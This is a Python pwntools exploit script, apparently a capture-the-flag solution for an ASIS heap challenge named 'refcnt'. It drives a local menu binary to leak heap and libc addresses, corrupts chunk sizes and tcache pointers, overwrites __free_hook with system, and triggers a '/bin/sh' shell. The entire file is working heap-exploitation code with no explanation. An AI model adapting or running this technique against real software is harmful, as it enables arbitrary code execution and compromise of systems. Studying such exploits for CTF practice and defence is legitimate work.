ASIS_refcnt_exp.py

#!/usr/bin/python3
from pwn import *
from past.builtins import xrange
from time import sleep
import subprocess
import random

# Util
def new(index,size):
  print(f'[+] Add index: {index} | Size : {hex(size)}')
  io.sendlineafter('Choice: ','1')
  io.sendlineafter('Index: ',f'{index}')
  io.sendlineafter('Size: ',f'{size}')

def edit(index,data):
  print(f'[+] Edit index: {index}')
  io.sendlineafter('Choice: ','2')
  io.sendlineafter('Index: ',f'{index}')
  io.sendafter('Data: ',data)

def copy(source,destination):
  print(f'[+] Copy: sourceidx = {source} | destinationidx = {destination}')
  io.sendlineafter('Choice: ','3')
  io.sendlineafter('From: ',f'{source}')
  io.sendlineafter('To: ',f'{destination}')

def view(index):
  print(f'[+] View index: {index}')
  io.sendlineafter('Choice: ','4')
  io.sendlineafter('Index: ',f'{index}')
  return io.recvline().strip()

def delete(index):
  print(f'[+] Delete index: {index}')
  io.sendlineafter('Choice: ','5')
  io.sendlineafter('Index: ',f'{index}')

# Addr
unsortedbin_offset = 0x1ebbe0
__free_hook = 0x1eeb28
system = 0x55410

# Exp
def hack():
  global io
  new(0,0x10) #0
  new(1,0x10) #1
  new(2,0x90) #2
  new(3,0x40) #3
  delete(1)
  copy(0,0)
  heap_base = u64(view(0).split(b': ')[1].ljust(8,b'\0')) - 0x10
  log.info(f'Heap base: {hex(heap_base)}')
  new(1,0x10) #1
  new(4,0x10) #4
  edit(4,'A'*0xf + '\xf1')
  delete(1)
  
  delete(2)
  for i in xrange(7):
    new(2,(0xe0 - i * 0x10))
    delete(2)
  new(1,0xe0) #1
  edit(1,b'A'*0x90+p64(0x421))
  delete(1)
  new(1,0x80) #1
  edit(1,p64(0x81))
  delete(3)
  delete(1)
  new(1,0xe0) #1
  edit(1,b'A'*0x98)
  libc_leak = u64(view(1).split(b': ')[1][0x98:].ljust(8,b'\0'))
  libc_base = libc_leak - unsortedbin_offset
  log.info(f'Libc base: {hex(libc_base)}')
  edit(1,b'A'*0x90+p64(0x41)+p64(libc_base+unsortedbin_offset)*2 + p64(0)*4 + p64(0x40) + p64(0x10))
  new(3,0x30) #3
  new(2,0x30) #2
  delete(2)
  delete(3)
  edit(1,b'A'*0x90+p64(0x41)+p64(libc_base+__free_hook-0x8))
  new(3,0x30) #3
  new(2,0x30) #2
  edit(1,b'A'*0x90+p64(0x41)+p64(0)+b';/bin/sh')
  edit(2,p64(libc_base+system))
  delete(3)

# pwn
if __name__=='__main__':
  io = process('./chall',env={'LD_PRELOAD':'./libc.so.6'})
  hack()
  io.interactive()